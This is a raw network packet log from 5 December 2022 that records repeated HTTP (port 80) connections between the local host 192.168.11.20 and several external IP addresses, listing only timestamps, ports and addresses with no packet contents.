Dec 5, 2022 15:16:06.115052938 CET	49860	80	192.168.11.20	75.2.81.212
Dec 5, 2022 15:16:06.126465082 CET	80	49860	75.2.81.212	192.168.11.20
Dec 5, 2022 15:16:11.183585882 CET	49861	80	192.168.11.20	2.57.90.16
Dec 5, 2022 15:16:11.207596064 CET	80	49861	2.57.90.16	192.168.11.20
Dec 5, 2022 15:16:11.207927942 CET	49861	80	192.168.11.20	2.57.90.16
Dec 5, 2022 15:16:11.208053112 CET	49861	80	192.168.11.20	2.57.90.16
Dec 5, 2022 15:16:11.231837988 CET	80	49861	2.57.90.16	192.168.11.20
Dec 5, 2022 15:16:11.231944084 CET	80	49861	2.57.90.16	192.168.11.20
Dec 5, 2022 15:16:11.232059956 CET	80	49861	2.57.90.16	192.168.11.20
Dec 5, 2022 15:16:11.232218981 CET	49861	80	192.168.11.20	2.57.90.16
Dec 5, 2022 15:16:12.217355013 CET	49861	80	192.168.11.20	2.57.90.16
Dec 5, 2022 15:16:13.244002104 CET	49862	80	192.168.11.20	2.57.90.16
Dec 5, 2022 15:16:13.268157005 CET	80	49862	2.57.90.16	192.168.11.20
Dec 5, 2022 15:16:13.268371105 CET	49862	80	192.168.11.20	2.57.90.16
Dec 5, 2022 15:16:13.268534899 CET	49862	80	192.168.11.20	2.57.90.16
Dec 5, 2022 15:16:13.292597055 CET	80	49862	2.57.90.16	192.168.11.20
Dec 5, 2022 15:16:13.292660952 CET	80	49862	2.57.90.16	192.168.11.20
Dec 5, 2022 15:16:13.292707920 CET	80	49862	2.57.90.16	192.168.11.20
Dec 5, 2022 15:16:13.292926073 CET	49862	80	192.168.11.20	2.57.90.16
Dec 5, 2022 15:16:14.279331923 CET	49862	80	192.168.11.20	2.57.90.16
Dec 5, 2022 15:16:15.294985056 CET	49863	80	192.168.11.20	2.57.90.16
Dec 5, 2022 15:16:15.323209047 CET	80	49863	2.57.90.16	192.168.11.20
Dec 5, 2022 15:16:15.323472023 CET	49863	80	192.168.11.20	2.57.90.16
Dec 5, 2022 15:16:15.324063063 CET	49863	80	192.168.11.20	2.57.90.16
Dec 5, 2022 15:16:15.324172974 CET	49863	80	192.168.11.20	2.57.90.16
Dec 5, 2022 15:16:15.352072001 CET	80	49863	2.57.90.16	192.168.11.20
Dec 5, 2022 15:16:15.352143049 CET	80	49863	2.57.90.16	192.168.11.20
Dec 5, 2022 15:16:15.352186918 CET	80	49863	2.57.90.16	192.168.11.20
Dec 5, 2022 15:16:15.352364063 CET	49863	80	192.168.11.20	2.57.90.16
Dec 5, 2022 15:16:15.352364063 CET	49863	80	192.168.11.20	2.57.90.16
Dec 5, 2022 15:16:15.352371931 CET	80	49863	2.57.90.16	192.168.11.20
Dec 5, 2022 15:16:15.352453947 CET	80	49863	2.57.90.16	192.168.11.20
Dec 5, 2022 15:16:15.352564096 CET	49863	80	192.168.11.20	2.57.90.16
Dec 5, 2022 15:16:15.352667093 CET	49863	80	192.168.11.20	2.57.90.16
Dec 5, 2022 15:16:15.352672100 CET	80	49863	2.57.90.16	192.168.11.20
Dec 5, 2022 15:16:15.352761030 CET	49863	80	192.168.11.20	2.57.90.16
Dec 5, 2022 15:16:15.352938890 CET	49863	80	192.168.11.20	2.57.90.16
Dec 5, 2022 15:16:15.380636930 CET	80	49863	2.57.90.16	192.168.11.20
Dec 5, 2022 15:16:15.380701065 CET	80	49863	2.57.90.16	192.168.11.20
Dec 5, 2022 15:16:15.380743027 CET	80	49863	2.57.90.16	192.168.11.20
Dec 5, 2022 15:16:15.380867004 CET	80	49863	2.57.90.16	192.168.11.20
Dec 5, 2022 15:16:15.380914927 CET	49863	80	192.168.11.20	2.57.90.16
Dec 5, 2022 15:16:15.380928040 CET	80	49863	2.57.90.16	192.168.11.20
Dec 5, 2022 15:16:15.381007910 CET	49863	80	192.168.11.20	2.57.90.16
Dec 5, 2022 15:16:15.381217003 CET	80	49863	2.57.90.16	192.168.11.20
Dec 5, 2022 15:16:15.381267071 CET	80	49863	2.57.90.16	192.168.11.20
Dec 5, 2022 15:16:15.381448030 CET	80	49863	2.57.90.16	192.168.11.20
Dec 5, 2022 15:16:15.381490946 CET	80	49863	2.57.90.16	192.168.11.20
Dec 5, 2022 15:16:15.408934116 CET	80	49863	2.57.90.16	192.168.11.20
Dec 5, 2022 15:16:15.408997059 CET	80	49863	2.57.90.16	192.168.11.20
Dec 5, 2022 15:16:15.409322023 CET	80	49863	2.57.90.16	192.168.11.20
Dec 5, 2022 15:16:15.409382105 CET	80	49863	2.57.90.16	192.168.11.20
Dec 5, 2022 15:16:15.409652948 CET	80	49863	2.57.90.16	192.168.11.20
Dec 5, 2022 15:16:15.409715891 CET	80	49863	2.57.90.16	192.168.11.20
Dec 5, 2022 15:16:15.409929037 CET	49863	80	192.168.11.20	2.57.90.16
Dec 5, 2022 15:16:16.325788021 CET	49863	80	192.168.11.20	2.57.90.16
Dec 5, 2022 15:16:17.341423988 CET	49864	80	192.168.11.20	2.57.90.16
Dec 5, 2022 15:16:17.369319916 CET	80	49864	2.57.90.16	192.168.11.20
Dec 5, 2022 15:16:17.369679928 CET	49864	80	192.168.11.20	2.57.90.16
Dec 5, 2022 15:16:17.369810104 CET	49864	80	192.168.11.20	2.57.90.16
Dec 5, 2022 15:16:17.397340059 CET	80	49864	2.57.90.16	192.168.11.20
Dec 5, 2022 15:16:17.397447109 CET	80	49864	2.57.90.16	192.168.11.20
Dec 5, 2022 15:16:17.397469997 CET	80	49864	2.57.90.16	192.168.11.20
Dec 5, 2022 15:16:17.397780895 CET	49864	80	192.168.11.20	2.57.90.16
Dec 5, 2022 15:16:17.397916079 CET	49864	80	192.168.11.20	2.57.90.16
Dec 5, 2022 15:16:17.425549030 CET	80	49864	2.57.90.16	192.168.11.20
Dec 5, 2022 15:16:22.742458105 CET	49866	80	192.168.11.20	103.63.2.175
Dec 5, 2022 15:16:22.993910074 CET	80	49866	103.63.2.175	192.168.11.20
Dec 5, 2022 15:16:22.994231939 CET	49866	80	192.168.11.20	103.63.2.175
Dec 5, 2022 15:16:22.994231939 CET	49866	80	192.168.11.20	103.63.2.175
Dec 5, 2022 15:16:23.246049881 CET	80	49866	103.63.2.175	192.168.11.20
Dec 5, 2022 15:16:23.246773958 CET	80	49866	103.63.2.175	192.168.11.20
Dec 5, 2022 15:16:23.246845007 CET	80	49866	103.63.2.175	192.168.11.20
Dec 5, 2022 15:16:23.247100115 CET	49866	80	192.168.11.20	103.63.2.175
Dec 5, 2022 15:16:23.256289959 CET	80	49866	103.63.2.175	192.168.11.20
Dec 5, 2022 15:16:23.256700993 CET	49866	80	192.168.11.20	103.63.2.175
Dec 5, 2022 15:16:23.456300974 CET	80	49866	103.63.2.175	192.168.11.20
Dec 5, 2022 15:16:23.456592083 CET	49866	80	192.168.11.20	103.63.2.175
Dec 5, 2022 15:16:23.995980024 CET	49866	80	192.168.11.20	103.63.2.175
Dec 5, 2022 15:16:25.011837959 CET	49868	80	192.168.11.20	103.63.2.175
Dec 5, 2022 15:16:25.263025999 CET	80	49868	103.63.2.175	192.168.11.20
Dec 5, 2022 15:16:25.263252020 CET	49868	80	192.168.11.20	103.63.2.175
Dec 5, 2022 15:16:25.263375044 CET	49868	80	192.168.11.20	103.63.2.175
Dec 5, 2022 15:16:25.514355898 CET	80	49868	103.63.2.175	192.168.11.20
Dec 5, 2022 15:16:25.515036106 CET	80	49868	103.63.2.175	192.168.11.20
Dec 5, 2022 15:16:25.515109062 CET	80	49868	103.63.2.175	192.168.11.20
Dec 5, 2022 15:16:25.515402079 CET	49868	80	192.168.11.20	103.63.2.175
Dec 5, 2022 15:16:26.276765108 CET	49868	80	192.168.11.20	103.63.2.175
Dec 5, 2022 15:16:27.292406082 CET	49869	80	192.168.11.20	103.63.2.175
Dec 5, 2022 15:16:27.543454885 CET	80	49869	103.63.2.175	192.168.11.20
Dec 5, 2022 15:16:27.543761015 CET	49869	80	192.168.11.20	103.63.2.175
Dec 5, 2022 15:16:27.544348955 CET	49869	80	192.168.11.20	103.63.2.175
Dec 5, 2022 15:16:27.544384956 CET	49869	80	192.168.11.20	103.63.2.175
Dec 5, 2022 15:16:27.544465065 CET	49869	80	192.168.11.20	103.63.2.175
Dec 5, 2022 15:16:27.795305967 CET	80	49869	103.63.2.175	192.168.11.20
Dec 5, 2022 15:16:27.795345068 CET	80	49869	103.63.2.175	192.168.11.20
Dec 5, 2022 15:16:27.795365095 CET	80	49869	103.63.2.175	192.168.11.20
Dec 5, 2022 15:16:27.795381069 CET	80	49869	103.63.2.175	192.168.11.20
Dec 5, 2022 15:16:27.795490980 CET	80	49869	103.63.2.175	192.168.11.20
Dec 5, 2022 15:16:27.795506954 CET	80	49869	103.63.2.175	192.168.11.20
Dec 5, 2022 15:16:27.795523882 CET	49869	80	192.168.11.20	103.63.2.175
Dec 5, 2022 15:16:27.795701981 CET	49869	80	192.168.11.20	103.63.2.175
Dec 5, 2022 15:16:27.795753002 CET	49869	80	192.168.11.20	103.63.2.175
Dec 5, 2022 15:16:27.796114922 CET	80	49869	103.63.2.175	192.168.11.20
Dec 5, 2022 15:16:27.838788986 CET	49869	80	192.168.11.20	103.63.2.175
Dec 5, 2022 15:16:28.047054052 CET	80	49869	103.63.2.175	192.168.11.20
Dec 5, 2022 15:16:28.047156096 CET	80	49869	103.63.2.175	192.168.11.20
Dec 5, 2022 15:16:28.047198057 CET	80	49869	103.63.2.175	192.168.11.20
Dec 5, 2022 15:16:28.047235966 CET	80	49869	103.63.2.175	192.168.11.20
Dec 5, 2022 15:16:28.047276020 CET	80	49869	103.63.2.175	192.168.11.20
Dec 5, 2022 15:16:28.047314882 CET	80	49869	103.63.2.175	192.168.11.20
Dec 5, 2022 15:16:28.047353029 CET	80	49869	103.63.2.175	192.168.11.20
Dec 5, 2022 15:16:28.047389984 CET	80	49869	103.63.2.175	192.168.11.20
Dec 5, 2022 15:16:28.047391891 CET	49869	80	192.168.11.20	103.63.2.175
Dec 5, 2022 15:16:28.047430038 CET	80	49869	103.63.2.175	192.168.11.20
Dec 5, 2022 15:16:28.047499895 CET	49869	80	192.168.11.20	103.63.2.175
Dec 5, 2022 15:16:28.299357891 CET	80	49869	103.63.2.175	192.168.11.20
Dec 5, 2022 15:16:28.299432993 CET	80	49869	103.63.2.175	192.168.11.20
Dec 5, 2022 15:16:28.299484015 CET	80	49869	103.63.2.175	192.168.11.20
Dec 5, 2022 15:16:28.299536943 CET	80	49869	103.63.2.175	192.168.11.20
Dec 5, 2022 15:16:28.299582958 CET	80	49869	103.63.2.175	192.168.11.20
Dec 5, 2022 15:16:28.299629927 CET	80	49869	103.63.2.175	192.168.11.20
Dec 5, 2022 15:16:28.299676895 CET	80	49869	103.63.2.175	192.168.11.20
Dec 5, 2022 15:16:28.299722910 CET	80	49869	103.63.2.175	192.168.11.20
Dec 5, 2022 15:16:28.299768925 CET	80	49869	103.63.2.175	192.168.11.20
Dec 5, 2022 15:16:28.299815893 CET	80	49869	103.63.2.175	192.168.11.20
Dec 5, 2022 15:16:28.299865961 CET	80	49869	103.63.2.175	192.168.11.20
Dec 5, 2022 15:16:28.300051928 CET	49869	80	192.168.11.20	103.63.2.175
Dec 5, 2022 15:16:28.557389975 CET	49869	80	192.168.11.20	103.63.2.175
Dec 5, 2022 15:16:29.573102951 CET	49870	80	192.168.11.20	103.63.2.175
Dec 5, 2022 15:16:29.824426889 CET	80	49870	103.63.2.175	192.168.11.20
Dec 5, 2022 15:16:29.824682951 CET	49870	80	192.168.11.20	103.63.2.175
Dec 5, 2022 15:16:29.824801922 CET	49870	80	192.168.11.20	103.63.2.175
Dec 5, 2022 15:16:30.075999022 CET	80	49870	103.63.2.175	192.168.11.20
Dec 5, 2022 15:16:30.076570034 CET	80	49870	103.63.2.175	192.168.11.20
Dec 5, 2022 15:16:30.076657057 CET	80	49870	103.63.2.175	192.168.11.20
Dec 5, 2022 15:16:30.077080011 CET	49870	80	192.168.11.20	103.63.2.175
Dec 5, 2022 15:16:30.077198982 CET	49870	80	192.168.11.20	103.63.2.175
Dec 5, 2022 15:16:30.331100941 CET	80	49870	103.63.2.175	192.168.11.20
Dec 5, 2022 15:16:43.167984962 CET	49871	80	192.168.11.20	66.29.151.40
Dec 5, 2022 15:16:43.326479912 CET	80	49871	66.29.151.40	192.168.11.20
Dec 5, 2022 15:16:43.326796055 CET	49871	80	192.168.11.20	66.29.151.40
Dec 5, 2022 15:16:43.326953888 CET	49871	80	192.168.11.20	66.29.151.40
Dec 5, 2022 15:16:43.485424995 CET	80	49871	66.29.151.40	192.168.11.20
Dec 5, 2022 15:16:43.668857098 CET	80	49871	66.29.151.40	192.168.11.20
Dec 5, 2022 15:16:43.668876886 CET	80	49871	66.29.151.40	192.168.11.20
Dec 5, 2022 15:16:43.669176102 CET	49871	80	192.168.11.20	66.29.151.40
Dec 5, 2022 15:16:44.335340023 CET	49871	80	192.168.11.20	66.29.151.40
Dec 5, 2022 15:16:45.350877047 CET	49872	80	192.168.11.20	66.29.151.40
Dec 5, 2022 15:16:45.511250019 CET	80	49872	66.29.151.40	192.168.11.20
Dec 5, 2022 15:16:45.511512995 CET	49872	80	192.168.11.20	66.29.151.40
Dec 5, 2022 15:16:45.511632919 CET	49872	80	192.168.11.20	66.29.151.40
Dec 5, 2022 15:16:45.672288895 CET	80	49872	66.29.151.40	192.168.11.20
Dec 5, 2022 15:16:45.811323881 CET	80	49872	66.29.151.40	192.168.11.20
Dec 5, 2022 15:16:45.811408997 CET	80	49872	66.29.151.40	192.168.11.20
Dec 5, 2022 15:16:45.811716080 CET	49872	80	192.168.11.20	66.29.151.40
Dec 5, 2022 15:16:46.522255898 CET	49872	80	192.168.11.20	66.29.151.40
Dec 5, 2022 15:16:47.537920952 CET	49873	80	192.168.11.20	66.29.151.40
Dec 5, 2022 15:16:47.696542978 CET	80	49873	66.29.151.40	192.168.11.20
Dec 5, 2022 15:16:47.696813107 CET	49873	80	192.168.11.20	66.29.151.40
Dec 5, 2022 15:16:47.697463036 CET	49873	80	192.168.11.20	66.29.151.40
Dec 5, 2022 15:16:47.697559118 CET	49873	80	192.168.11.20	66.29.151.40
Dec 5, 2022 15:16:47.856257915 CET	80	49873	66.29.151.40	192.168.11.20
Dec 5, 2022 15:16:47.856347084 CET	80	49873	66.29.151.40	192.168.11.20
Dec 5, 2022 15:16:47.856399059 CET	80	49873	66.29.151.40	192.168.11.20
Dec 5, 2022 15:16:47.856440067 CET	80	49873	66.29.151.40	192.168.11.20
Dec 5, 2022 15:16:47.856573105 CET	49873	80	192.168.11.20	66.29.151.40
Dec 5, 2022 15:16:47.856667042 CET	49873	80	192.168.11.20	66.29.151.40
Dec 5, 2022 15:16:47.856703043 CET	80	49873	66.29.151.40	192.168.11.20
Dec 5, 2022 15:16:47.856791973 CET	49873	80	192.168.11.20	66.29.151.40
Dec 5, 2022 15:16:47.856796980 CET	80	49873	66.29.151.40	192.168.11.20
Dec 5, 2022 15:16:47.856874943 CET	80	49873	66.29.151.40	192.168.11.20
Dec 5, 2022 15:16:47.856955051 CET	49873	80	192.168.11.20	66.29.151.40
Dec 5, 2022 15:16:47.857224941 CET	49873	80	192.168.11.20	66.29.151.40
Dec 5, 2022 15:16:48.015425920 CET	80	49873	66.29.151.40	192.168.11.20
Dec 5, 2022 15:16:48.015489101 CET	80	49873	66.29.151.40	192.168.11.20
Dec 5, 2022 15:16:48.015532017 CET	80	49873	66.29.151.40	192.168.11.20
Dec 5, 2022 15:16:48.015573025 CET	80	49873	66.29.151.40	192.168.11.20
Dec 5, 2022 15:16:48.015747070 CET	49873	80	192.168.11.20	66.29.151.40
Dec 5, 2022 15:16:48.015846014 CET	49873	80	192.168.11.20	66.29.151.40
Dec 5, 2022 15:16:48.016590118 CET	80	49873	66.29.151.40	192.168.11.20
Dec 5, 2022 15:16:48.016829014 CET	49873	80	192.168.11.20	66.29.151.40
Dec 5, 2022 15:16:48.017087936 CET	80	49873	66.29.151.40	192.168.11.20
Dec 5, 2022 15:16:48.017177105 CET	80	49873	66.29.151.40	192.168.11.20
Dec 5, 2022 15:16:48.017510891 CET	80	49873	66.29.151.40	192.168.11.20
Dec 5, 2022 15:16:48.017862082 CET	80	49873	66.29.151.40	192.168.11.20
Dec 5, 2022 15:16:48.017918110 CET	80	49873	66.29.151.40	192.168.11.20
Dec 5, 2022 15:16:48.018193960 CET	80	49873	66.29.151.40	192.168.11.20
Dec 5, 2022 15:16:48.174515963 CET	80	49873	66.29.151.40	192.168.11.20
Dec 5, 2022 15:16:48.175290108 CET	80	49873	66.29.151.40	192.168.11.20
Dec 5, 2022 15:16:48.175358057 CET	80	49873	66.29.151.40	192.168.11.20
Dec 5, 2022 15:16:48.175484896 CET	80	49873	66.29.151.40	192.168.11.20
Dec 5, 2022 15:16:48.341778040 CET	80	49873	66.29.151.40	192.168.11.20
Dec 5, 2022 15:16:48.341826916 CET	80	49873	66.29.151.40	192.168.11.20
Dec 5, 2022 15:16:48.341954947 CET	49873	80	192.168.11.20	66.29.151.40
Dec 5, 2022 15:16:48.709213018 CET	49873	80	192.168.11.20	66.29.151.40
Dec 5, 2022 15:16:49.726102114 CET	49874	80	192.168.11.20	66.29.151.40
Dec 5, 2022 15:16:49.885067940 CET	80	49874	66.29.151.40	192.168.11.20
Dec 5, 2022 15:16:49.885665894 CET	49874	80	192.168.11.20	66.29.151.40
Dec 5, 2022 15:16:49.885667086 CET	49874	80	192.168.11.20	66.29.151.40
Dec 5, 2022 15:16:50.044425964 CET	80	49874	66.29.151.40	192.168.11.20
Dec 5, 2022 15:16:50.208544016 CET	80	49874	66.29.151.40	192.168.11.20
Dec 5, 2022 15:16:50.208561897 CET	80	49874	66.29.151.40	192.168.11.20
Dec 5, 2022 15:16:50.208951950 CET	49874	80	192.168.11.20	66.29.151.40
Dec 5, 2022 15:16:50.209023952 CET	49874	80	192.168.11.20	66.29.151.40
Dec 5, 2022 15:16:50.367232084 CET	80	49874	66.29.151.40	192.168.11.20
Dec 5, 2022 15:16:55.385557890 CET	49876	80	192.168.11.20	194.245.148.189
Dec 5, 2022 15:16:55.403511047 CET	80	49876	194.245.148.189	192.168.11.20
Dec 5, 2022 15:16:55.403753042 CET	49876	80	192.168.11.20	194.245.148.189
Dec 5, 2022 15:16:55.403830051 CET	49876	80	192.168.11.20	194.245.148.189
Dec 5, 2022 15:16:55.421488047 CET	80	49876	194.245.148.189	192.168.11.20
Dec 5, 2022 15:16:55.422645092 CET	80	49876	194.245.148.189	192.168.11.20
Dec 5, 2022 15:16:55.422729969 CET	80	49876	194.245.148.189	192.168.11.20
Dec 5, 2022 15:16:55.422780037 CET	80	49876	194.245.148.189	192.168.11.20
Dec 5, 2022 15:16:55.422826052 CET	80	49876	194.245.148.189	192.168.11.20
Dec 5, 2022 15:16:55.422966003 CET	49876	80	192.168.11.20	194.245.148.189
Dec 5, 2022 15:16:55.423038960 CET	49876	80	192.168.11.20	194.245.148.189
Dec 5, 2022 15:16:56.410583973 CET	49876	80	192.168.11.20	194.245.148.189
Dec 5, 2022 15:16:57.426314116 CET	49877	80	192.168.11.20	194.245.148.189
Dec 5, 2022 15:16:57.444188118 CET	80	49877	194.245.148.189	192.168.11.20
Dec 5, 2022 15:16:57.444432020 CET	49877	80	192.168.11.20	194.245.148.189
Dec 5, 2022 15:16:57.444516897 CET	49877	80	192.168.11.20	194.245.148.189
Dec 5, 2022 15:16:57.462275028 CET	80	49877	194.245.148.189	192.168.11.20
Dec 5, 2022 15:16:57.463150024 CET	80	49877	194.245.148.189	192.168.11.20
Dec 5, 2022 15:16:57.463247061 CET	80	49877	194.245.148.189	192.168.11.20
Dec 5, 2022 15:16:57.463304043 CET	80	49877	194.245.148.189	192.168.11.20
Dec 5, 2022 15:16:57.463356018 CET	80	49877	194.245.148.189	192.168.11.20
Dec 5, 2022 15:16:57.463430882 CET	49877	80	192.168.11.20	194.245.148.189
Dec 5, 2022 15:16:57.463510036 CET	49877	80	192.168.11.20	194.245.148.189
Dec 5, 2022 15:16:58.457164049 CET	49877	80	192.168.11.20	194.245.148.189
Dec 5, 2022 15:16:59.472595930 CET	49878	80	192.168.11.20	194.245.148.189
Dec 5, 2022 15:16:59.490351915 CET	80	49878	194.245.148.189	192.168.11.20
Dec 5, 2022 15:16:59.490587950 CET	49878	80	192.168.11.20	194.245.148.189
Dec 5, 2022 15:16:59.491189957 CET	49878	80	192.168.11.20	194.245.148.189
Dec 5, 2022 15:16:59.491230011 CET	49878	80	192.168.11.20	194.245.148.189
Dec 5, 2022 15:16:59.491296053 CET	49878	80	192.168.11.20	194.245.148.189
Dec 5, 2022 15:16:59.508877993 CET	80	49878	194.245.148.189	192.168.11.20
Dec 5, 2022 15:16:59.508913994 CET	80	49878	194.245.148.189	192.168.11.20
Dec 5, 2022 15:16:59.509062052 CET	49878	80	192.168.11.20	194.245.148.189
Dec 5, 2022 15:16:59.509094000 CET	49878	80	192.168.11.20	194.245.148.189
Dec 5, 2022 15:16:59.509145975 CET	80	49878	194.245.148.189	192.168.11.20
Dec 5, 2022 15:16:59.509263039 CET	80	49878	194.245.148.189	192.168.11.20
Dec 5, 2022 15:16:59.509335995 CET	49878	80	192.168.11.20	194.245.148.189
Dec 5, 2022 15:16:59.509502888 CET	49878	80	192.168.11.20	194.245.148.189
Dec 5, 2022 15:16:59.509654045 CET	49878	80	192.168.11.20	194.245.148.189
Dec 5, 2022 15:16:59.526793003 CET	80	49878	194.245.148.189	192.168.11.20
Dec 5, 2022 15:16:59.526868105 CET	80	49878	194.245.148.189	192.168.11.20
Dec 5, 2022 15:16:59.527017117 CET	80	49878	194.245.148.189	192.168.11.20
Dec 5, 2022 15:16:59.527086020 CET	49878	80	192.168.11.20	194.245.148.189
Dec 5, 2022 15:16:59.527112961 CET	80	49878	194.245.148.189	192.168.11.20
Dec 5, 2022 15:16:59.527133942 CET	49878	80	192.168.11.20	194.245.148.189
Dec 5, 2022 15:16:59.527184963 CET	49878	80	192.168.11.20	194.245.148.189
Dec 5, 2022 15:16:59.527295113 CET	80	49878	194.245.148.189	192.168.11.20
Dec 5, 2022 15:16:59.527350903 CET	49878	80	192.168.11.20	194.245.148.189
Dec 5, 2022 15:16:59.527498007 CET	80	49878	194.245.148.189	192.168.11.20
Dec 5, 2022 15:16:59.544675112 CET	80	49878	194.245.148.189	192.168.11.20
Dec 5, 2022 15:16:59.544826031 CET	80	49878	194.245.148.189	192.168.11.20
Dec 5, 2022 15:16:59.544884920 CET	80	49878	194.245.148.189	192.168.11.20
Dec 5, 2022 15:16:59.545141935 CET	80	49878	194.245.148.189	192.168.11.20
Dec 5, 2022 15:16:59.545306921 CET	80	49878	194.245.148.189	192.168.11.20
Dec 5, 2022 15:16:59.545398951 CET	80	49878	194.245.148.189	192.168.11.20
Dec 5, 2022 15:16:59.545420885 CET	80	49878	194.245.148.189	192.168.11.20
Dec 5, 2022 15:16:59.545562983 CET	80	49878	194.245.148.189	192.168.11.20
Dec 5, 2022 15:16:59.545628071 CET	49878	80	192.168.11.20	194.245.148.189
Dec 5, 2022 15:16:59.545785904 CET	80	49878	194.245.148.189	192.168.11.20
Dec 5, 2022 15:16:59.545972109 CET	49878	80	192.168.11.20	194.245.148.189
Dec 5, 2022 15:17:00.503442049 CET	49878	80	192.168.11.20	194.245.148.189
Dec 5, 2022 15:17:01.519416094 CET	49879	80	192.168.11.20	194.245.148.189
Dec 5, 2022 15:17:01.537316084 CET	80	49879	194.245.148.189	192.168.11.20
Dec 5, 2022 15:17:01.537631035 CET	49879	80	192.168.11.20	194.245.148.189
Dec 5, 2022 15:17:01.537708044 CET	49879	80	192.168.11.20	194.245.148.189
Dec 5, 2022 15:17:01.555284977 CET	80	49879	194.245.148.189	192.168.11.20
Dec 5, 2022 15:17:01.556195974 CET	80	49879	194.245.148.189	192.168.11.20
Dec 5, 2022 15:17:01.556291103 CET	80	49879	194.245.148.189	192.168.11.20
Dec 5, 2022 15:17:01.556406021 CET	80	49879	194.245.148.189	192.168.11.20
Dec 5, 2022 15:17:01.556462049 CET	80	49879	194.245.148.189	192.168.11.20
Dec 5, 2022 15:17:01.556504011 CET	49879	80	192.168.11.20	194.245.148.189
Dec 5, 2022 15:17:01.556787014 CET	49879	80	192.168.11.20	194.245.148.189
Dec 5, 2022 15:17:01.556863070 CET	49879	80	192.168.11.20	194.245.148.189
Dec 5, 2022 15:17:01.574385881 CET	80	49879	194.245.148.189	192.168.11.20
Dec 5, 2022 15:17:06.599523067 CET	49880	80	192.168.11.20	185.101.158.239
Dec 5, 2022 15:17:06.617696047 CET	80	49880	185.101.158.239	192.168.11.20
Dec 5, 2022 15:17:06.617929935 CET	49880	80	192.168.11.20	185.101.158.239
Dec 5, 2022 15:17:06.618046045 CET	49880	80	192.168.11.20	185.101.158.239
Dec 5, 2022 15:17:06.635365009 CET	80	49880	185.101.158.239	192.168.11.20
Dec 5, 2022 15:17:06.635468006 CET	80	49880	185.101.158.239	192.168.11.20
Dec 5, 2022 15:17:06.635524988 CET	80	49880	185.101.158.239	192.168.11.20
Dec 5, 2022 15:17:06.635776043 CET	49880	80	192.168.11.20	185.101.158.239
Dec 5, 2022 15:17:07.627183914 CET	49880	80	192.168.11.20	185.101.158.239
Dec 5, 2022 15:17:08.642541885 CET	49881	80	192.168.11.20	185.101.158.239
Dec 5, 2022 15:17:08.659177065 CET	80	49881	185.101.158.239	192.168.11.20
Dec 5, 2022 15:17:08.659429073 CET	49881	80	192.168.11.20	185.101.158.239
Dec 5, 2022 15:17:08.659539938 CET	49881	80	192.168.11.20	185.101.158.239
Dec 5, 2022 15:17:08.676166058 CET	80	49881	185.101.158.239	192.168.11.20
Dec 5, 2022 15:17:08.676209927 CET	80	49881	185.101.158.239	192.168.11.20
Dec 5, 2022 15:17:08.676242113 CET	80	49881	185.101.158.239	192.168.11.20
Dec 5, 2022 15:17:08.676425934 CET	49881	80	192.168.11.20	185.101.158.239
Dec 5, 2022 15:17:09.673379898 CET	49881	80	192.168.11.20	185.101.158.239
Dec 5, 2022 15:17:10.701361895 CET	49882	80	192.168.11.20	185.101.158.239
Dec 5, 2022 15:17:10.718314886 CET	80	49882	185.101.158.239	192.168.11.20
Dec 5, 2022 15:17:10.718570948 CET	49882	80	192.168.11.20	185.101.158.239
Dec 5, 2022 15:17:10.719192982 CET	49882	80	192.168.11.20	185.101.158.239
Dec 5, 2022 15:17:10.719279051 CET	49882	80	192.168.11.20	185.101.158.239
Dec 5, 2022 15:17:10.736044884 CET	80	49882	185.101.158.239	192.168.11.20
Dec 5, 2022 15:17:10.736100912 CET	80	49882	185.101.158.239	192.168.11.20
Dec 5, 2022 15:17:10.736150026 CET	80	49882	185.101.158.239	192.168.11.20
Dec 5, 2022 15:17:10.736249924 CET	80	49882	185.101.158.239	192.168.11.20
Dec 5, 2022 15:17:10.736351967 CET	49882	80	192.168.11.20	185.101.158.239
Dec 5, 2022 15:17:10.736454964 CET	49882	80	192.168.11.20	185.101.158.239
Dec 5, 2022 15:17:10.736517906 CET	49882	80	192.168.11.20	185.101.158.239
Dec 5, 2022 15:17:10.736531019 CET	80	49882	185.101.158.239	192.168.11.20
Dec 5, 2022 15:17:10.736704111 CET	80	49882	185.101.158.239	192.168.11.20
Dec 5, 2022 15:17:10.736862898 CET	49882	80	192.168.11.20	185.101.158.239
Dec 5, 2022 15:17:10.737035990 CET	49882	80	192.168.11.20	185.101.158.239
Dec 5, 2022 15:17:10.753309965 CET	80	49882	185.101.158.239	192.168.11.20
Dec 5, 2022 15:17:10.753557920 CET	80	49882	185.101.158.239	192.168.11.20
Dec 5, 2022 15:17:10.753613949 CET	80	49882	185.101.158.239	192.168.11.20
Dec 5, 2022 15:17:10.753657103 CET	49882	80	192.168.11.20	185.101.158.239
Dec 5, 2022 15:17:10.753758907 CET	49882	80	192.168.11.20	185.101.158.239
Dec 5, 2022 15:17:10.753804922 CET	49882	80	192.168.11.20	185.101.158.239
Dec 5, 2022 15:17:10.753875017 CET	80	49882	185.101.158.239	192.168.11.20
Dec 5, 2022 15:17:10.753983021 CET	49882	80	192.168.11.20	185.101.158.239
Dec 5, 2022 15:17:10.754053116 CET	80	49882	185.101.158.239	192.168.11.20
Dec 5, 2022 15:17:10.754097939 CET	80	49882	185.101.158.239	192.168.11.20
Dec 5, 2022 15:17:10.754328966 CET	80	49882	185.101.158.239	192.168.11.20
Dec 5, 2022 15:17:10.770694017 CET	80	49882	185.101.158.239	192.168.11.20
Dec 5, 2022 15:17:10.770932913 CET	80	49882	185.101.158.239	192.168.11.20
Dec 5, 2022 15:17:10.770991087 CET	80	49882	185.101.158.239	192.168.11.20
Dec 5, 2022 15:17:10.771282911 CET	80	49882	185.101.158.239	192.168.11.20
Dec 5, 2022 15:17:10.772298098 CET	80	49882	185.101.158.239	192.168.11.20
Dec 5, 2022 15:17:10.772388935 CET	80	49882	185.101.158.239	192.168.11.20
Dec 5, 2022 15:17:10.772598982 CET	49882	80	192.168.11.20	185.101.158.239
Dec 5, 2022 15:17:11.719806910 CET	49882	80	192.168.11.20	185.101.158.239
Dec 5, 2022 15:17:12.735423088 CET	49883	80	192.168.11.20	185.101.158.239
Dec 5, 2022 15:17:12.752213955 CET	80	49883	185.101.158.239	192.168.11.20
Dec 5, 2022 15:17:12.752449036 CET	49883	80	192.168.11.20	185.101.158.239
Dec 5, 2022 15:17:12.752525091 CET	49883	80	192.168.11.20	185.101.158.239
Dec 5, 2022 15:17:12.769191027 CET	80	49883	185.101.158.239	192.168.11.20
Dec 5, 2022 15:17:12.769244909 CET	80	49883	185.101.158.239	192.168.11.20
Dec 5, 2022 15:17:12.769288063 CET	80	49883	185.101.158.239	192.168.11.20
